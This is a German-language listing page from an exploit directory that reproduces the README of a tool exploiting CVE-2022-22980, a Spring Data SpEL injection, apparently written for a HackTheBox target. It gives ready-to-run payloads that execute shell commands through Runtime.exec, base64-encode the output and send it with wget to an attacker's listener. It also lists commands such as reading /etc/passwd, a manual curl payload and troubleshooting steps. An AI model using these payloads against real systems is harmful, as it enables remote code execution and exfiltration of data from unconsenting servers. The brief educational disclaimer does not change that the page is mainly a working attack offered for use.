Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-22980 — Ausnutzung von CVE-2022-22980 | Kitploit
Tools/GitHubGitHub/eliasdekiniweek/cve-2022-22980
Payload-GenerierungExploitationWebanwendungs-ExploitationCTFCommand and ControlLernen & Bildung
GitHubeliasdekiniweek/cve-2022-22980

CVE-2022-22980

Ausnutzung von CVE-2022-22980

Repository anzeigen
111vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SpEL RCE Exploit - CVE-2022-22980

Exploit für die Ausführung von Remotecode (RCE) auf Spring Data über eine SpEL-Injektion (Spring Expression Language).

Beschreibungen

Schwachstelle

Die Box stellt einen Endpunkt /search bereit, der einen Parameter tracking_id akzeptiert, der anfällig für SpEL-Injektion ist. Diese Injektion ermöglicht die Ausführung bösartiger Java-Ausdrücke direkt auf dem Server.

Ausnutzungsprinzip

  1. Eine SpEL-Expression injizieren, die einen Shell-Befehl über Runtime.getRuntime().exec() ausführt
  2. Die Ausgabe des Befehls in Base64 kodieren
  3. Das Ergebnis über eine HTTP-GET-Anfrage an einen kontrollierten Listener exfiltrieren
  4. Das Ergebnis dekodieren und anzeigen

Verwendung

Voraussetzungen

  • Python 3.x mit den Standardmodulen (http.server, subprocess, threading, base64)
  • curl auf Ihrem lokalen Rechner
  • wget auf dem Zielrechner (für die Exfiltration)
  • Ein verfügbarer Port 80 (oder ändern Sie LPORT im Skript)
  • Netzwerkzugriff zum Ziel

Konfiguration

Ändern Sie die Parameter im Skript entsprechend Ihrer Umgebung:

TARGET = "http://<IP_CIBLE>:8080/search"   # URL de la cible
LHOST = "<VOTRE_IP>"                        # IP locale (tun0 pour HTB)
LPORT = 80                                  # Port d'écoute

Ausführung

# Einfacher Befehl
python3 spel_shell.py "whoami"

# Befehl mit Pipe
python3 spel_shell.py "cat /etc/passwd"

# Systemenumeration
python3 spel_shell.py "uname -a"

# Netzwerkzugriff prüfen
python3 spel_shell.py "curl -s http://httpbin.org/get"

Beispielausgabe

[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==

[+] Command output:

root

Manuelles Payload (Referenz)

Wenn Sie das Payload ohne Skript testen möchten:

# Terminal 1: Listener starten
python3 -m http.server 80

# Terminal 2: Payload senden
curl -X POST \
  -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
  http://<IP_CIBLE>:8080/search

Fehlerbehebung

Fehler: "Address already in use"

Port 80 ist belegt. Lösungen:

# Überprüfen, welcher Prozess den Port verwendet
sudo netstat -tlnp | grep :80

# Apache stoppen, falls aktiv
sudo systemctl stop apache2

# Oder einen anderen Port verwenden
# Ändern Sie LPORT im Skript und testen Sie

Keine Antwort ("No response received")

  1. Überprüfen Sie die Netzwerkkonnektivität: Stellen Sie sicher, dass das Ziel Ihren LHOST:LPORT erreichen kann
  2. Testen Sie mit einem einfachen Befehl: python3 spel_shell.py "echo test"
  3. Überprüfen Sie die Port-Berechtigungen: Port 80 erfordert sudo unter Linux
  4. Überprüfen Sie die LHOST-IP: Verwenden Sie ifconfig (tun0 für HTB) und nicht 127.0.0.1

Base64-Dekodierungsfehler

Wenn Sie "Raw data received" anstelle von "Command output" sehen, hat der Befehl möglicherweise keine gültige Ausgabe erzeugt. Testen Sie einen Befehl, der immer eine Ausgabe liefert.

Skriptarchitektur

1. start_server() - Startet einen HTTP-Server auf Port 80
                   ↓
2. Sendet das SpEL-Payload per curl an das Ziel
                   ↓
3. Das Ziel führt den Befehl aus und kodiert das Ergebnis in Base64
                   ↓
4. wget sendet das Ergebnis an den Listener (GET http://LHOST:LPORT/<data>)
                   ↓
5. Der Handler empfängt die Daten und speichert sie
                   ↓
6. Das Skript dekodiert und zeigt das Ergebnis an

Warnhinweis

Dieses Skript wird zu Bildungszwecken für HackTheBox-Boxen bereitgestellt. Verwenden Sie es nur in Umgebungen, die Sie testen dürfen.


Autor : Eliasdekiniweek Datum : Februar 2026
Sprache : Python 3

Tool herunterladen